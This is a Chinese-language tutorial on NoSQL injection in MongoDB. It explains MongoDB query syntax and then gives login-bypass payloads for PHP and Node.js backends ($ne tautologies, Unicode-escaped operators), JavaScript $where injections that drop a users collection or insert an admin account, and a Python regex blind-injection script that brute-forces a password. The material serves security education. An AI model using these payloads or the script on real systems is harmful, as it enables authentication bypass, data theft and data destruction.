详解:https://xz.aliyun.com/t/9908?time__1311=n4+xuDgD9Am4BlDRDBqDqpDU2fom5G8iQDAxrbD#toc-4

1.NoSQL

NoSQL(Not Only SQL)是一种非关系型数据库,它与传统的关系型数据库(如MySQL、Oracle)相比具有不同的数据存储模型和查询语言。

常见的NoSQL数据库包括 MongoDB(文档型)、Redis(键值型)、Cassandra(列族型)、Neo4j(图形型)等。

我们从MongDB中学习NoSQL注入

2.MongoDB

MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。

MongoDB基础

SQL概念 MongoDB概念 说明
database database 数据库
table collection 数据库表/集合
row document 数据记录行/文档
column field 数据字段/域
index index 索引
table joins 表连接,MongoDB 不支持
primary key primary key 主键,MongoDB 自动将 _id 字段设置为主键
  • 数据库

一个 MongoDB 中可以建立多个数据库。MongoDB 的单个实例可以容纳多个独立的数据库,每一个都有自己的集合和权限,不同的数据库也放置在不同的文件中。

1
2
3
4
> show dbs
admin 0.078GB
config 0.078GB
local 0.078GB
  • 文档

文档是一组键值(key-value)对

1
{"name":"whoami", "age":19}
  • 集合

集合就是 MongoDB 文档组,存在于数据库中,没有固定的结构,这意味着你在对集合可以插入不同格式和类型的数据。

比如,我们可以将以下不同数据结构的文档插入到集合中:

1
2
3
{"name":"whoami"}
{"name":"bunny", "age":19}
{"name":"bob", "age":20, "groups":["admins","users"]}

当插入一个文档时,集合就会被自动创建,可以使用show collectionsshow tables命令查看已有集合:

1
2
3
4
5
> show collections
all_users
> show tables
all_users
>

MongoDB语法

  • 创建数据库,若存在则连接并切换到指定数据库:
    use DATABASE_NAME
  • 使用 createCollection() 方法来创建集合:
    db.createCollection(name, options),其中
    name:要创建的集合名称
    options:可选参数,指定有关内存大小及索引的选项
  • 使用 insert() 方法向集合中插入文档:
    db.COLLECTION_NAME.insert(document)
  • 使用 update() 或 save() 方法来更新集合中的文档(这里不细讲了)
  • 使用 find() 方法来查询文档(可以传入多个键值对),pretty()方法以格式化的方式来显示所有文档:
    db.collection.find(query, projection).pretty(),其中
    query:可选,使用查询操作符指定查询条件,相当于 sql select 语句中的 where 子句。
    projection:可选,使用投影操作符指定返回的键。

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
> db.all_users.find({"age":20}).pretty()
{
"_id" : ObjectId("60fa854cf8aaaf4f21049148"),
"name" : "whoami",
"description" : "the admin user",
"age" : 20,
"status" : "A",
"groups" : [
"admins",
"users"
]
}
>
  • 条件语句查询:
操作 格式 范例 RDBMS中的类似语句
等于 {<key>:<value>} db.love.find({"name":"whoami"}).pretty() where name = ‘whoami’
小于 {<key>:{$lt:<value>}} db.love.find({"age":{$lt:19}}).pretty() where age < 19
小于或等于 {<key>:{$lte:<value>}} db.love.find({"age":{$lte:19}}).pretty() where likes <= 19
大于 {<key>:{$gt:<value>}} db.love.find({"age":{$gt:19}}).pretty() where likes > 19
大于或等于 {<key>:{$gte:<value>}} db.love.find({"age":{$gte:19}}).pretty() where likes >= 19
不等于 {<key>:{$ne:<value>}} db.love.find({"age":{$ne:19}}).pretty() where likes != 19

2.PHP中的MongoDB注入

重言式注入

又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制。

例如后台通过账户密码参数查询数据库中的信息

利用PHP特性和$ne关键词构造:username[$ne]=1&password[$ne]=1

以此向服务器提交两个参数:username和password,查询两个参数的值不等于1的数据,这样导致后台会将所有数据都查询出

image.png

一些payload:

1
2
3
username[$ne]= &password[$ne]=
username[$gt]= &password[$gt]=
username[$gte]= &password[$gte]=

联合查询注入

联合查询是一种众所周知的 SQL 注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。

如下实例,假设后端的 MongoDB 查询语句使用了字符串拼接:

string query ="{ username: '" + $username + "', password: '" + $password + "' }"

如果此时没有很好地对用户的输入进行过滤或者效验,那攻击者便可以构造如下 payload:

username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456

此时,只要用户名是正确的,这个查询就可以成功。

但是现在无论是 PHP 的 MongoDB Driver 还是 Nodejs 的 Mongoose 都必须要求查询条件必须是一个数组或者 Query 对象了,因此这用注入方法简单了解一下就好了。

js注入

MongoDB Server 支持 JavaScript,这使得在数据引擎进行复杂事务和查询成为可能,但是传递不干净的用户输入到这些查询中可以注入任意的 JavaScript 代码,导致非法的数据获取或篡改。

若后端利用了$where操作符(能将后面的js代码执行),并将用户输入的内容插入其中结合js代码一起去执行,就可能造成js注入

  • MongoDB 2.4 之前

可以通过自定义JavaScript函数来获取数据库的所有信息。发送以下数据后,如果有回显的话将获取当前数据库下所有的集合名:

username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1

  • MongoDB 2.4 之后

MongoDB 2.4 之后 db 属性访问不到了,但我们依然可以构造万能密码。如果此时我们发送以下这几种数据,也可以造成js注入:

1
2
3
username=1&password=1';return true//

username=1&password=1';return true;var a='1
  • 使用Command方法造成的注入

在 MongoDB 的服务器端可以通过 db.eval 方法来执行 JavaScript 脚本,如我们可以定义一个 JavaScript 函数,然后通过 db.eval 在服务器端来运行。

payload:

1
2
username=1'});db.users.drop();db.user.find({'username':'1
username=1'});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'1

则将改变原本的查询语句造成注入。

布尔盲注

当页面没有回显时,那么我们可以通过$regex正则表达式来达到和传统SQL注入中substr()函数相同的功能,而且NoSQL用到的基本上都是布尔盲注。

如下所示,在已知一个用户名的情况下判断密码的长度:

1
2
3
4
5
6
7
username=admin&password[$regex]=.{4}    // 登录成功
username=admin&password[$regex]=.{5} // 登录成功
username=admin&password[$regex]=.{6} // 登录成功
username=admin&password[$regex]=.{7} // 登录失败
......

//说明密码长度为7

MongoDB盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import string

password = ''
url = 'http://192.168.226.148/index.php'

while True:
for c in string.printable:
if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:

# When the method is GET
get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
# When the method is POST
post_payload = {
"username": "admin",
"password[$regex]": '^' + password + c
}
# When the method is POST with JSON
json_payload = """{"username":"admin", "password":{"$regex":"^%s"}}""" % (password + c)
#headers = {'Content-Type': 'application/json'}
#r = requests.post(url=url, headers=headers, data=json_payload) # 简单发送 json

r = requests.post(url=url, data=post_payload)
if 'Login Success' in r.text:
print("[+] %s" % (password + c))
password += c


# 输出如下:
# [+] 1
# [+] 12
# [+] 123
# [+] 1234
# [+] 12345
# [+] 123456

3.Nodejs中的MongoDB注入

其中主要是重言式注入(json形式),通过构造永真式构造万能密码实现登录绕过

由于后端解析 JSON,所以我们发送 JSON 格式的 payload:

{"username":{"$ne":1},"password": {"$ne":1}}

若过滤严格,可以尝试使用 Unicode 编码绕过,因为 JSON 可以直接解析 Unicode。如下所示:

{"username":{"\u0024\u006e\u0065":1},"password": {"\u0024\u006e\u0065":1}} // {"username":{"$ne":1},"password": {"$ne":1}}